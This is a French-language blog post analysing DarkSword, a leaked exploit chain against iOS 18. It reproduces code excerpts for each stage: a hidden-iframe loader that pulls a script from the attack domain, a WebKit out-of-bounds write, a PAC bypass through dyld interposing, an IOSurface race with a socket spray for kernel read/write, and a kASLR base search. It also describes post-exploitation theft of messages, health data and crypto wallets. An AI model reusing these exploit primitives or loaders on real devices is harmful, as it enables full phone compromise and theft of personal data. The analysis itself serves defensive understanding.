Suite à mon article sur le kit d’exploitation Coruna, je ne m’attendais pas à ce qu’une nouvelle chaîne soit publiée deux semaines plus tard, mais nous y sommes. Et en plus, tout le code source de ce kit a leak. Dans ce nouveau blog post, on va analyser un nouveau kit d’exploitation pour iPhone qui cible les appareils sous iOS 18.

Le Google Threat Intelligence Group en partenariat avec Lookout et iVerify a publié un blog post sur un nouveau kit d’exploitation ciblant les appareils Apple : DarkSword.
Tout comme Coruna, ce kit embarque plusieurs exploits chaînés ensemble pour compromettre un appareil depuis Safari et exfiltrer les données.
Contrairement au précédent kit dont les exploits étaient encore accessibles, tous les serveurs hébergeant le malware étaient indisponibles.
Quelques jours après que Google a publié le blog post, un utilisateur sur GitHub a fait fuiter une version fonctionnelle du kit avec dans le README une seule phrase : “I’m not interested in the RU/UA politics, sloppy tradecraft results in exploits being found”.
Le kit est déployable sans modification et ne nécessite aucune compétence iOS.
C’est donc ce kit que l’on va analyser dans la suite de l’article.
Analyse du kit Link to heading
DarkSword est un kit d’exploitation complet ciblant iOS 18, capable de compromettre un iPhone depuis une simple visite sur Safari jusqu’à l’exfiltration totale des données personnelles.
Le schéma ci-dessous détaille les différentes phases de la chaîne d’attaque : du chargement initial du code malveillant via un iframe caché, en passant par l’obtention d’une exécution de code dans le processus WebContent, le contournement de PAC, l’exploitation du kernel via une race condition IOSurface et un spray de sockets ICMPv6, jusqu’à la prise de contrôle de launchd et l’exfiltration des données sensibles vers un serveur distant.
La structure de fichiers de ce kit est assez simple, il embarque deux fichiers HTML et des modules JavaScript.
DarkSword-RCE
├── frame.html
├── index.html
├── pe_main.js
├── rce_loader.js
├── rce_module_18.6.js
├── rce_module.js
├── rce_worker_18.6.js
├── rce_worker.js
├── README.md
├── sbx0_main_18.4.js
└── sbx1_main.js
1 directory, 11 files
Le fichier index.html, la page principale, stocke un identifiant dans le sessionStorage puis charge un iframe caché (frame.html). Vous noterez le commentaire présent dans le code.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Test Page</title>
</head>
<body>
<script>
// если uid всё ещё нужен — просто устанавливаем
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.width = '1px';
frame.style.opacity = '0.01'
frame.style.position = 'absolute';
frame.style.left = '-9999px';
frame.style.height = '1px';
frame.style.border = 'none';
document.body.appendChild(frame);
</script>
</body>
</html>
L’iframe charge ensuite un module JavaScript rce_loader.js depuis un domaine distant en ajoutant un timestamp en paramètre pour éviter d’utiliser une version en cache.
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">document.write('<script defer=\"defer\" src=\"https://static.cdncounter.net/assets/rce_loader.js?'+Date.now()+'\"\>\<\/script\>');</script>
</body>
</html>
Le fichier rce_loader.js va ensuite charger en fonction du User-Agent le bon module JavaScript rce_worker_18.6.js ou rce_worker_18.4.js.
La première étape est d’obtenir deux primitives : addrof et fakeobj. La première permet de faire fuiter l’adresse mémoire de n’importe quel objet JavaScript et la seconde permet de forger un faux objet à une adresse mémoire définie.
C’est le module de RCE, chargé en fonction de la version iOS, qui va nous permettre d’avoir ces deux primitives.
let rceCode = "";
if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
rceCode = getJS(`rce_module_18.6.js?${Date.now()}`); // local version
else
rceCode = getJS(`rce_module.js?${Date.now()}`); // local version
try {
eval(rceCode);
}
catch(e) {
//print("Got exception while running rce: " + e);
}
Ce module exploite un bug de type out of bound write dans Array.prototype.push pour corrompre la longueur d’un tableau voisin en mémoire.
Cette corruption est ensuite utilisée pour provoquer une type confusion. C’est en exploitant ce bug que l’on peut obtenir les deux primitives permettant de prendre le contrôle du processus WebContent.
Avec le contrôle de la mémoire du processus WebContent, l’exploit utilise le linker d’Apple, dyld, pour remplacer des fonctions au runtime, ce que l’on appelle dyld interposing.
interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation, offsets.libdyld__dlopen);
interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddCustomMetadata, offsets.libdyld__dlsym);
interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddExif, offsets.dyld__signPointer);
Dans le code, ce sont 3 fonctions du framework CMPhoto qui sont remplacées par des pointeurs vers dlopen, dlsym et signPointer.
Ce qui va déclencher l’interposing, c’est le dlopen_worker, qui crée une image Bitmap et en “fermant” l’objet, déclenche le chargement de CMPhoto via un autre framework.
const dlopen_worker = `(() => {
self.onmessage = function (e) {
const {
type,
data
} = e.data;
switch (type) {
case 'init':
const canvas = new OffscreenCanvas(1, 1);
globalThis[0] = data;
createImageBitmap(canvas).then(bitmap => {
globalThis[1] = bitmap;
self.postMessage(null);
});
break;
case 'dlopen':
globalThis[1].close();
break;
}
};
})();`;
Cette méthode permet de contourner PAC (Pointer Authentication Codes) : plutôt que de casser les signatures de code, l’exploit fait en sorte que dyld lui-même signe les pointeurs.
function pacia(ptr, ctx) {
signPointer_self[0] = 0x80010000_00000000n | ctx >> 48n << 32n;
return fcall(signPointer, signPointer_self_addr, ctx, ptr);
}
Grâce à ça, on obtient une primitive fcall capable d’appeler n’importe quelle fonction native avec des arguments arbitraires, ainsi que la capacité de signer des pointeurs.
Avec cette nouvelle primitive, on va pouvoir construire notre exploit pour le kernel.
Kernel exploit Link to heading
L’objectif du kernel exploit est d’obtenir des primitives de lecture et d’écriture dans la mémoire du noyau. C’est la suite logique pour une compromission totale de l’appareil.
Tout se passe dans la fonction pe(). Il y a deux méthodes d’exploitation en fonction de la génération de l’iPhone (A18 ou non-A18).
Pour cette analyse, on va se concentrer sur la version non-A18, n’ayant pas d’iPhone 16 pour tester le code.
Fonction PE du kernel exploit
L’exploit commence par allouer de la mémoire via IOSurface. L’avantage d’utiliser IOSurface, c’est que ça alloue de la mémoire côté GPU, où les pages virtuelles et physiques sont garanties contiguës, contrairement à la mémoire classique du CPU.
À noter qu’à ce moment-là de la phase d’exploitation, on est toujours dans la sandbox. Mais IOSurface est accessible depuis la sandbox parce que le processus WebContent en a besoin pour le rendu GPU.
Ensuite on passe à la race condition qui va permettre de lire et d’écrire au-delà des pages physiques de IOSurface, donc dans la page physique voisine en RAM.
function physical_oob_write_mo(mo, mo_offset, size, offset, buffer) {
uwrite64(target_object_sync_ptr, mo);
uwrite64(target_object_offset_sync_ptr, mo_offset);
uwrite64(iov + 0x00n, pc_address + 0x3f00n);
uwrite64(iov + 0x08n, offset + size);
pwrite(write_fd, buffer, size, 0x3f00n + offset);
for (let try_idx = 0n; try_idx < 20n; try_idx++) {
uwrite64(race_sync_ptr, 1n);
preadv(write_fd, iov, 1n, 0x3f00n);
cmp8_wait_for_change(race_sync_ptr, 1);
kr = mach_vm_map(mach_task_self(), get_bigint_addr(pc_address), pc_size, 0n, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pc_object, 0n, 0n, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
if (kr != KERN_SUCCESS) {
LOG("[-] mach_vm_map failed!!!");
exit(0n);
}
}
uwrite64(target_object_sync_ptr, 0n);
return;
}
Mais on ne sait pas si la page appartient à un autre processus ou au kernel. Donc lire une page mémoire physique aléatoire ne sert à rien.
Pour obtenir une primitive de lecture et d’écriture arbitraire dans le kernel, l’exploit va créer 22528 sockets ICMPv6. Ça permet de maximiser les chances d’avoir une socket physiquement adjacente à l’objet IOSurface en mémoire.
Chaque socket alloue une structure de type Internet Protocol Control Block (PCB). La structure contient notamment le nom du process qui a créé la socket via le membre de la structure inp_e_proc_name.
Grâce au nom du processus, l’exploit cherche la structure PCB dans la mémoire voisine. Tout bêtement avec memmem, il scanne les pages à la recherche de la chaîne “com.apple.WebContent”.
do {
found = memmem(read_buffer + search_start_idx, oob_size - search_start_idx, executable_name, strlen(executable_name));
if (found != 0n) {
pcb_start_offset = found - read_buffer & 0xFFFFFFFFFFFFFC00n;
if (uread64(read_buffer + pcb_start_offset + icmp6filt_offset + 0x8n) == 0x0000ffffffffffffn) {
target_found = true;
break;
}
}
search_start_idx += 0x400n;
} while (found != 0n && search_start_idx < oob_size);
if (target_found == true) {
LOG("[+] pcb_start_offset: " + pcb_start_offset.hex());
Une fois la structure PCB trouvée, l’exploit corrompt son pointeur icmp6_filter via la primitive d’écriture OOB obtenue plus tôt.
Normalement, ce pointeur référence la structure de filtrage ICMPv6 propre à la socket, mais là l’exploit le redirige vers le champ icmp6_filter du PCB suivant dans la liste chaînée dont l’adresse est lue via le champ inp_list.le_next du PCB trouvé.
LOG("[+] Corrupting icmp6filter pointer...");
while (true) {
physical_oob_write_mo(memory_object, seeking_offset, oob_size, oob_offset, write_buffer);
physical_oob_read_mo_with_retry(memory_object, seeking_offset, oob_size, oob_offset, read_buffer);
let new_icmp6filter = uread64(read_buffer + pcb_start_offset + icmp6filt_offset);
if (new_icmp6filter == inp_list_next_pointer + icmp6filt_offset) {
LOG("[+] target corrupted: " + uread64(read_buffer + pcb_start_offset + icmp6filt_offset).hex());
break;
}
}
On obtient alors deux sockets qui fonctionnent en duo. La première (control_socket) permet d’écrire une adresse kernel cible : le kernel écrit la valeur dans le champ icmp6_filter du PCB, mais comme celui-ci a été redirigé, c’est en réalité le champ icmp6_filter du second PCB qui est modifié.
La seconde socket (rw_socket) permet via getsockopt de lire 32 octets à l’adresse qu’on vient d’écrire. Et pour écrire, c’est la même méthode, mais on utilise setsockopt.
La raison pour laquelle on peut utiliser ces fonctions comme primitives de lecture et écriture, c’est parce qu’elles appellent les fonctions copyout et copyin qui permettent de copier des données du kernel vers userland et vice versa.
Grâce à ça, on obtient une primitive de lecture et d’écriture arbitraire dans le kernel, c’est-à-dire qu’on peut lire ou écrire à n’importe quelle adresse du kernel, en deux appels système depuis le processus WebContent.
Donc parfait, reste à trouver l’adresse de base du kernel en mémoire, pour savoir à partir d’où écrire en mémoire quand c’est nécessaire.
Là dans le code on cherche l’adresse de zv_name à partir de la structure pcb de la socket de contrôle.
Ensuite il ne reste plus qu’à remonter page par page depuis l’adresse de zv_name et chercher la signature du Mach-O du kernel (0x100000cfeedfacfn, qui correspond au header 64-bit).
control_socket_pcb = early_kread64(rw_socket_pcb + 0x20n);
let pcbinfo_pointer = early_kread64(control_socket_pcb + 0x38n);
let ipi_zone = early_kread64(pcbinfo_pointer + 0x68n);
let zv_name = early_kread64(ipi_zone + 0x10n);
kernel_base = zv_name & 0xFFFFFFFFFFFFC000n;
while (true) {
if (early_kread64(kernel_base) == 0x100000cfeedfacfn) {
if (early_kread64(kernel_base + 0x8n) == 0xc00000002n) {
break;
}
}
kernel_base -= PAGE_SIZE;
}
kernel_slide = kernel_base - 0xfffffff007004000n;
Pour récupérer la slide kASLR, il suffit de calculer la différence entre l’adresse de base en mémoire et celle fixe.
Implémentation en C Link to heading
Pour le challenge, j’ai réimplémenté le code JavaScript en une version standalone en C embarquée dans une application iOS.
L’exploit en C est une copie du code avec quelques helpers en plus. Une bonne base pour un jailbreak.
Le code actuel permet de lire et d’écrire dans la mémoire du noyau. Il ne contourne pas les différentes protections comme l’authentification de pointeurs (PAC), KTRR, ni PPL. Mais couplé avec le code de Coruna, on pourrait avoir un exploit plus avancé et fonctionnel pour un jailbreak.
Post-exploitation Link to heading
La première étape après avoir pris le contrôle du kernel, c’est de prendre le contrôle de launchd. Ce processus est lancé par le kernel avec le PID 1.
C’est le process parent de tous les autres processus, il a un accès complet au système et tourne sans restriction de sandbox.
let launchdTask = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass);
if (!launchdTask.success()) {
return false;
}
initWithLaunchdTask(launchdTask);
deleteCrashReports();
createTokens();
Quand c’est fait, le kit supprime le répertoire DiagnosticReports pour effacer toute trace de crash liée à l’exploitation.
Puis le malware s’octroie les droits côté sandbox pour accéder aux différents fichiers. À noter que les commentaires ont été placés par les développeurs du kit.

Ensuite le kit injecte différents modules JavaScript dans les processus d’iOS à l’aide de la classe InjectJS. Puis il autorise ces processus à accéder aux fichiers sensibles, comme à l’étape précédente. Chaque processus injecté récupère différents fichiers en fonction des accès à la keychain d’iOS.

Quand c’est fait, via le targetProcess, dans ce cas le SpringBoard (le processus qui représente l’écran d’accueil), un autre script y est injecté pour envoyer ces données vers un serveur distant.
Le script en question se charge d’envoyer toutes les données recueillies durant les précédentes étapes.

Le script remonte énormément d’informations diverses, comme les données de santé, les messages (Telegram et WhatsApp compris), l’historique de navigation, mais aussi tout ce qui est lié aux portefeuilles de cryptomonnaies, etc.
Et pour finir il supprime tous les fichiers temporaires créés pour l’exfiltration.
Coruna vs DarkSword Link to heading
Même si Coruna et DarkSword ont été créés par deux entités différentes, ça peut être intéressant de les comparer.
D’un côté, avec Coruna, on a un kit d’exploitation modulaire qui embarque environ une vingtaine d’exploits ciblant les appareils sous iOS 13 à iOS 17.2.1. De l’autre côté, avec DarkSword, une chaîne qui exploite 6 failles de sécurité et supporte les versions d’iOS 18.4 à 18.7.
Le code JavaScript de Coruna est obfusqué avec de multiples couches de protection pour garantir son faible niveau de détection et compliquer la rétro-ingénierie. Quant à DarkSword, le kit n’est pas obfusqué et est même un peu documenté grâce aux commentaires laissés dans le code, mais reste tout aussi efficace et simple à mettre en place.
A noter que même sur des versions vulnérables, le lockdown mode aurait empêché ces attaques.
On a donc vraiment deux philosophies d’exploitation et opérationnelles différentes, même si le résultat est le même : une compromission totale de l’appareil.
Conclusion Link to heading
DarkSword est un kit d’exploitation complet et redoutablement efficace. De la corruption mémoire dans WebContent jusqu’à l’exfiltration des données via le SpringBoard, chaque étape est pensée pour être fiable et discrète. Et le tout en JavaScript !
Le fait que le kit ait leak avec un code source fonctionnel et facilement déployable est préoccupant. N’importe qui peut désormais monter une infrastructure d’exploitation pour iOS 18 sans comprendre le fonctionnement des exploits ni d’iOS. On passe d’un outil réservé à des états à un kit clés en main pour des cybercriminels.
Mais merci quand même à la personne qui a leak le code. C’est pas tous les jours qu’on peut analyser une chaîne d’exploitation complète et aussi bien documentée par ses développeurs.
Je vous invite aussi à lire les articles dans les sources, qui contiennent notamment des indicateurs de compromission.
Liens et sources :